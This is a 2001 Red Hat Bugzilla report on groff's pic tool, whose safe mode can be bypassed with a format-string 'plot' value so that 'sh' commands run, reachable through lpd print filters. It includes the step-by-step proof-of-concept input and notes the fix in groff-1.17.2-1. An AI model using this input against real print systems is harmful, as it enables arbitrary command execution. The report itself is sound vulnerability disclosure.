Bug 50494 - pic can be forced to run commands in safe mode
Summary: pic can be forced to run commands in safe mode
Keywords:
Status: CLOSED RAWHIDE
Alias: None
Product: Red Hat Linux
Classification: Retired
Component: groff
Version: 7.0
Hardware: i386
OS: Linux
medium
medium
Target Milestone: ---
Assignee: Florian La Roche
QA Contact: Aaron Brown
URL: http://www.securityfocus.com/bid/3103
Whiteboard:
Depends On:
Blocks:
TreeView+ depends on / blocked
 
Reported: 2001-07-31 17:41 UTC by Need Real Name
Modified: 2007-04-18 16:35 UTC (History)
0 users

Fixed In Version:
Doc Type: Bug Fix
Doc Text:
Clone Of:
Environment:
Last Closed: 2001-08-09 17:58:33 UTC
Embargoed:


Attachments (Terms of Use)

Description Need Real Name 2001-07-31 17:41:41 UTC
From Bugzilla Helper:
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:0.9.2) Gecko/20010701

Description of problem:
pic can be forced to execute commands (sh X..X) when running in safe mode
(-S). Can be exploited trough lpd (groff/pic is run in printfilters) and
arbitrary commands with id of lpd can be run.


pic command 'plot -1.99892428527521803794 "%n"' will overwrite memory 
where safe mode variable is stored and then it alows to use "sh" command.


How reproducible:
Always

Steps to Reproduce:
1. pic -S 
2. .PS
3. plot -1.99892428527521803794 "%n"
4. sh XidX
5. .PE

	

Actual Results:  uid=501(bendik) gid=501(bendik) ....

Expected Results:  pic:<standard input>:2: unsafe to run command `id'



Additional info:

Bug has been discovered by Zenith Parsec <zen-parse>.
Exploit with patch has been posted to bugtraq (see URL).

I tested groff 1.16 and 1.16.1, both are vulnerable.

Comment 1 Need Real Name 2001-08-09 17:58:29 UTC
When you want to fix this????

--rado b


Comment 2 Florian La Roche 2001-08-14 13:25:06 UTC
is fixed with current rpms: groff-1.17.2-1

Thanks,

Florian La Roche



Note You need to log in before you can comment on or make changes to this bug.